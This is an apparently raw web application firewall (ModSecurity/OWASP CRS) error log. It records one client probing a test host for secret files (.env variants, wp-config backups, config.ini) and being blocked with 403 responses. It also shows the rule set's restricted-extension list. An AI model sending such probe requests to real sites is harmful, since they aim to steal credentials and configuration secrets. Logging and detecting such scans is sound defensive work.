[Tue Aug 05 17:44:51.060098 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt/html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vAAAAAg&quot;]
[Tue Aug 05 17:44:51.060314 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vAAAAAg&quot;]
[Tue Aug 05 17:44:51.060480 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vAAAAAg&quot;]
[Tue Aug 05 17:44:51.082705 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vQAAAAg&quot;]
[Tue Aug 05 17:44:51.082896 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vQAAAAg&quot;]
[Tue Aug 05 17:44:51.083061 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vQAAAAg&quot;]
[Tue Aug 05 17:44:51.105369 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vgAAAAg&quot;]
[Tue Aug 05 17:44:51.105564 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vgAAAAg&quot;]
[Tue Aug 05 17:44:51.105715 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44vgAAAAg&quot;]
[Tue Aug 05 17:44:51.219831 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44wwAAAAg&quot;]
[Tue Aug 05 17:44:51.220017 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44wwAAAAg&quot;]
[Tue Aug 05 17:44:51.220174 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44wwAAAAg&quot;]
[Tue Aug 05 17:44:51.242403 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xAAAAAg&quot;]
[Tue Aug 05 17:44:51.242587 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xAAAAAg&quot;]
[Tue Aug 05 17:44:51.242745 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.orig&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xAAAAAg&quot;]
[Tue Aug 05 17:44:51.264804 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xQAAAAg&quot;]
[Tue Aug 05 17:44:51.265068 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xQAAAAg&quot;]
[Tue Aug 05 17:44:51.265210 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44xQAAAAg&quot;]
[Tue Aug 05 17:44:51.357792 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44yQAAAAg&quot;]
[Tue Aug 05 17:44:51.357978 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44yQAAAAg&quot;]
[Tue Aug 05 17:44:51.358142 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44yQAAAAg&quot;]
[Tue Aug 05 17:44:51.403253 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ywAAAAg&quot;]
[Tue Aug 05 17:44:51.403384 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ywAAAAg&quot;]
[Tue Aug 05 17:44:51.403557 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ywAAAAg&quot;]
[Tue Aug 05 17:44:51.403706 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44ywAAAAg&quot;]
[Tue Aug 05 17:44:51.428762 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zAAAAAg&quot;]
[Tue Aug 05 17:44:51.428938 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zAAAAAg&quot;]
[Tue Aug 05 17:44:51.429090 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zAAAAAg&quot;]
[Tue Aug 05 17:44:51.451044 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zQAAAAg&quot;]
[Tue Aug 05 17:44:51.451310 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zQAAAAg&quot;]
[Tue Aug 05 17:44:51.451461 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configs/application.ini&quot;] [unique_id &quot;aJIm8_8AUwGiCLARHH44zQAAAAg&quot;]
